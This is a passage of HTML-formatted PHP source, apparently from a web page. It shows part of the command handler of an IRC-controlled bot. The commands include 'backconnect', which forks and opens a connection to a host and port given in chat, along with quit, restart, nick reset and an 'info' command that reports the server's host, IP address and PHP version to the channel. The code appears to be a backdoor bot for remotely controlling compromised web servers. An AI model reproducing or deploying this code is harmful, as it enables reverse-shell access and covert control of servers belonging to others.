$mcmd[1], $mcmd[2]);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum170&quot;&gt; 170:&lt;/span&gt;                                                                                                 }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum171&quot;&gt; 171:&lt;/span&gt;                                                                                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum172&quot;&gt; 172:&lt;/span&gt;                                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum173&quot;&gt; 173:&lt;/span&gt;                                                                                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum174&quot;&gt; 174:&lt;/span&gt;                                                                                             $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;Unable to fork! Using normal way!&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum175&quot;&gt; 175:&lt;/span&gt;                                                                                             $this-&amp;gt;backconnect($nick, $mcmd[1], $mcmd[2]);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum176&quot;&gt; 176:&lt;/span&gt;                                                                                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum177&quot;&gt; 177:&lt;/span&gt;                                                                                 }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum178&quot;&gt; 178:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;break&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum179&quot;&gt; 179:&lt;/span&gt;                                                                         &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum180&quot;&gt; 180:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #008000&quot;&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum181&quot;&gt; 181:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Description: Change Bot Nick.&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum182&quot;&gt; 182:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Usage: !resetnick&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum183&quot;&gt; 183:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum184&quot;&gt; 184:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;resetnick&#39;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum185&quot;&gt; 185:&lt;/span&gt;                                                                             $this-&amp;gt;getNick();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum186&quot;&gt; 186:&lt;/span&gt;                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;break&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum187&quot;&gt; 187:&lt;/span&gt;                                                                             &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum188&quot;&gt; 188:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #008000&quot;&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum189&quot;&gt; 189:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Description: Kill Bot.&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum190&quot;&gt; 190:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Usage: !quit&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum191&quot;&gt; 191:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum192&quot;&gt; 192:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;quit&#39;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum193&quot;&gt; 193:&lt;/span&gt;                                                                                 $this-&amp;gt;send(&lt;span style=&quot;color: #006080&quot;&gt;&quot;QUIT :die command from $nick&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum194&quot;&gt; 194:&lt;/span&gt;                                                                                 fclose($this-&amp;gt;connection);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum195&quot;&gt; 195:&lt;/span&gt;                                                                                 &lt;span style=&quot;color: #0000ff&quot;&gt;unset&lt;/span&gt;($this-&amp;gt;users);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum196&quot;&gt; 196:&lt;/span&gt;                                                                                 &lt;span style=&quot;color: #0000ff&quot;&gt;exit&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum197&quot;&gt; 197:&lt;/span&gt;                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;break&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum198&quot;&gt; 198:&lt;/span&gt;                                                                             &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum199&quot;&gt; 199:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #008000&quot;&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum200&quot;&gt; 200:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Description: Restart bot connection.&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum201&quot;&gt; 201:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Usage: !restart&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum202&quot;&gt; 202:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum203&quot;&gt; 203:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;restart&#39;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum204&quot;&gt; 204:&lt;/span&gt;                                                                                 $this-&amp;gt;send(&lt;span style=&quot;color: #006080&quot;&gt;&quot;QUIT :restart&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum205&quot;&gt; 205:&lt;/span&gt;                                                                                 fclose($this-&amp;gt;connection);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum206&quot;&gt; 206:&lt;/span&gt;                                                                                 &lt;span style=&quot;color: #0000ff&quot;&gt;unset&lt;/span&gt;($this-&amp;gt;users);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum207&quot;&gt; 207:&lt;/span&gt;                                                                                 $this-&amp;gt;init();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum208&quot;&gt; 208:&lt;/span&gt;                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;break&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum209&quot;&gt; 209:&lt;/span&gt;                                                                             &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum210&quot;&gt; 210:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #008000&quot;&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum211&quot;&gt; 211:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Description: Print *Basic* Server Information.&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum212&quot;&gt; 212:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Usage: !info&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum213&quot;&gt; 213:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum214&quot;&gt; 214:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;info&#39;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum215&quot;&gt; 215:&lt;/span&gt;                                                                                 $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;-======= [[8&quot;&lt;/span&gt;.BotVersion.&lt;span style=&quot;color: #006080&quot;&gt;&quot;]] ======-&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum216&quot;&gt; 216:&lt;/span&gt;                                                                                 $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;HOST/IP: [8&quot;&lt;/span&gt;.$_SERVER[&lt;span style=&quot;color: #006080&quot;&gt;&#39;HTTP_HOST&#39;&lt;/span&gt;].&lt;span style=&quot;color: #006080&quot;&gt;&quot; /8 &quot;&lt;/span&gt;.@getenv(&lt;span style=&quot;color: #006080&quot;&gt;&#39;SERVER_ADDR&#39;&lt;/span&gt;).&lt;span style=&quot;color: #006080&quot;&gt;&quot;]&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum217&quot;&gt; 217:&lt;/span&gt;                                                                                 $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;PHP Version: [8 &quot;&lt;/span&gt;.phpversion().&lt;span style=&quot;color: #006080&quot;&gt;&quot; ]&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 